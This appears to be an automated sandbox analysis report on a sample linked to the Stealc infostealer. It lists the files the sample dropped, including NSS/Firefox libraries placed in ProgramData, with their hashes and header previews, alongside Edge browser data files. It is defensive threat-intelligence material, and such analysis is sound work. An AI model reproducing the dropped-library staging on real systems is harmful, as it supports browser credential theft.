Process:	C:\Users\user\Desktop\R2CgZG545D.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 1So9BcQi1J.exe, Detection: malicious, Browse Filename: Tii6ue74NB.exe, Detection: malicious, Browse Filename: AWrVzd6XpC.exe, Detection: malicious, Browse Filename: ZXVcgrmGRM.exe, Detection: malicious, Browse Filename: D2Cw8gWOXj.exe, Detection: malicious, Browse Filename: random.exe.7.exe, Detection: malicious, Browse Filename: random.exe.6.exe, Detection: malicious, Browse Filename: stealc_default2.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\R2CgZG545D.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 1So9BcQi1J.exe, Detection: malicious, Browse Filename: Tii6ue74NB.exe, Detection: malicious, Browse Filename: AWrVzd6XpC.exe, Detection: malicious, Browse Filename: ZXVcgrmGRM.exe, Detection: malicious, Browse Filename: D2Cw8gWOXj.exe, Detection: malicious, Browse Filename: random.exe.7.exe, Detection: malicious, Browse Filename: random.exe.6.exe, Detection: malicious, Browse Filename: stealc_default2.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\R2CgZG545D.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\R2CgZG545D.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\R2CgZG545D.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\R2CgZG545D.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\py8tmzb.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.0050635535766075
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUy:Q3La/xwQ
MD5:	84CFDB4B995B1DBF543B26B86C863ADC
SHA1:	D2F47764908BF30036CF8248B9FF5541E2711FA2
SHA-256:	D8988D672D6915B46946B28C06AD8066C50041F6152A91D37FFA5CF129CC146B
SHA-512:	485F0ED45E13F00A93762CBF15B4B8F996553BAA021152FAE5ABA051E3736BCD3CA8F4328F0E6D9E3E1F910C96C4A9AE055331123EE08E3C2CE3A99AC2E177CE
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\0f185173-3d75-4881-9ee5-09b8b776a6b3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44624
Entropy (8bit):	6.097050709896089
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBRwu+hDO6vP6O81pzFjEbF6cT2cGoup1Xl3jVzXr2:z/Ps+wsI7ynE56cVchu3VlXr4CRo1
MD5:	F7A55064B871C3AF264665138BF21DD2
SHA1:	67C193E426669D90373E6C8E7554F7C87102C538
SHA-256:	ACC9B724187F8F1DA5A747278F1BAD2E89F8C2CBEA847E717994DF4B1777A22C
SHA-512:	0F14AC8C810043C7D91E1BAFB965DF36CE516F1457F56E0A0F144AF08C91ED8956C9B08636F965855C15893E95974572AD93CB5D1EBB306A2FF5E4E1DCDCC8AD
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\19a38370-0fd1-4c93-bf46-11eddcf9e3ca.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44631
Entropy (8bit):	6.096919794118954
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkB1wu+hDO6vP6O81pzFHqNke+cGoup1Xl3jVzXr4CW:z/Ps+wsI7ynEt6c/chu3VlXr4CRo1
MD5:	BF42EF768CF1EFA81FD7EC5B637BE0C7
SHA1:	F32BEB046EF725F704BD8EF93B008B04D2375BFA
SHA-256:	4FB40EA7D9DCA813D0644F1EFC0C631A10E76EEF245DDCBB70FECCC95F4EAD6F
SHA-512:	485EDB9A15AC17CAB58CD009B02769C81927E078B66EC2AEFABD62FD0EAB90B9DFD1D09C04A80BBF4DE02211C43A38112A78FF4E21CE3DFA992D6FA94B1DB625
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\4b713ce0-9c59-4378-b483-7564158212c3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44624
Entropy (8bit):	6.097050709896089
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBRwu+hDO6vP6O81pzFjEbF6cT2cGoup1Xl3jVzXr2:z/Ps+wsI7ynE56cVchu3VlXr4CRo1
MD5:	F7A55064B871C3AF264665138BF21DD2
SHA1:	67C193E426669D90373E6C8E7554F7C87102C538
SHA-256:	ACC9B724187F8F1DA5A747278F1BAD2E89F8C2CBEA847E717994DF4B1777A22C
SHA-512:	0F14AC8C810043C7D91E1BAFB965DF36CE516F1457F56E0A0F144AF08C91ED8956C9B08636F965855C15893E95974572AD93CB5D1EBB306A2FF5E4E1DCDCC8AD
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\906b104e-174e-4de2-8c93-34b4911dc507.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090744149036098
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMawuF9hDO6vP6O+ftbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEo6qtbz8hu3VlXr4CRo1
MD5:	6189BEC28D4387BB19237687AE29E2ED
SHA1:	6C6B26AC05DEB6BC7D76510C4FFB9BC804CFF2D0
SHA-256:	78454EFF49A088F92B022D55039175E91576A11DC96DCC82DA88622A89F2D233
SHA-512:	54935BEAA41F0D5EB20110B51F3D285D1591BA5DCDC44A09016168256357E968A579E9DD4FDAD76BE9F221C507127D884B33B84E4FDC57A387212EBBBD8B3C39
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-676587FE-1FBC.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04671742393442508
Encrypted:	false
SSDEEP:	192:ghBw0pqtmknOAWV6Y1JgA8x5XSggykfhbNNETeIj/ERQcQtMABgMFfwAn8y08Tcp:ym0ctzMdgk9hZqYkMAGMFz08T2RGOD
MD5:	6E5A8B59D21DEB3CA4A5411C80E33E73
SHA1:	0B7E4CB8778EECC4DB2795AB5C4AC16161FAC7C7
SHA-256:	343F48B8ED9F87866FFD97CA6A20951F6A0520D39936161466BFFF44B8E85970
SHA-512:	85F57B71F594C6EFC4DECCE2BFAF3AE93D53924DD1E8E6DA7C2A8A652FA9B383E02518BC87371F3F5285D1D9996B84B7235C5692B96A4E5368208627DCA5AD29
Malicious:	false
Preview:	...@..@...@.....C.].....@................g..8W..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".icqknb20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K...G...W6.>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2.................. .2.......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090744149036098
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMawuF9hDO6vP6O+ftbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEo6qtbz8hu3VlXr4CRo1
MD5:	6189BEC28D4387BB19237687AE29E2ED
SHA1:	6C6B26AC05DEB6BC7D76510C4FFB9BC804CFF2D0
SHA-256:	78454EFF49A088F92B022D55039175E91576A11DC96DCC82DA88622A89F2D233
SHA-512:	54935BEAA41F0D5EB20110B51F3D285D1591BA5DCDC44A09016168256357E968A579E9DD4FDAD76BE9F221C507127D884B33B84E4FDC57A387212EBBBD8B3C39
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3789c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090744149036098
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMawuF9hDO6vP6O+ftbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEo6qtbz8hu3VlXr4CRo1
MD5:	6189BEC28D4387BB19237687AE29E2ED
SHA1:	6C6B26AC05DEB6BC7D76510C4FFB9BC804CFF2D0
SHA-256:	78454EFF49A088F92B022D55039175E91576A11DC96DCC82DA88622A89F2D233
SHA-512:	54935BEAA41F0D5EB20110B51F3D285D1591BA5DCDC44A09016168256357E968A579E9DD4FDAD76BE9F221C507127D884B33B84E4FDC57A387212EBBBD8B3C39
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF384e1.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090744149036098
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMawuF9hDO6vP6O+ftbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEo6qtbz8hu3VlXr4CRo1
MD5:	6189BEC28D4387BB19237687AE29E2ED
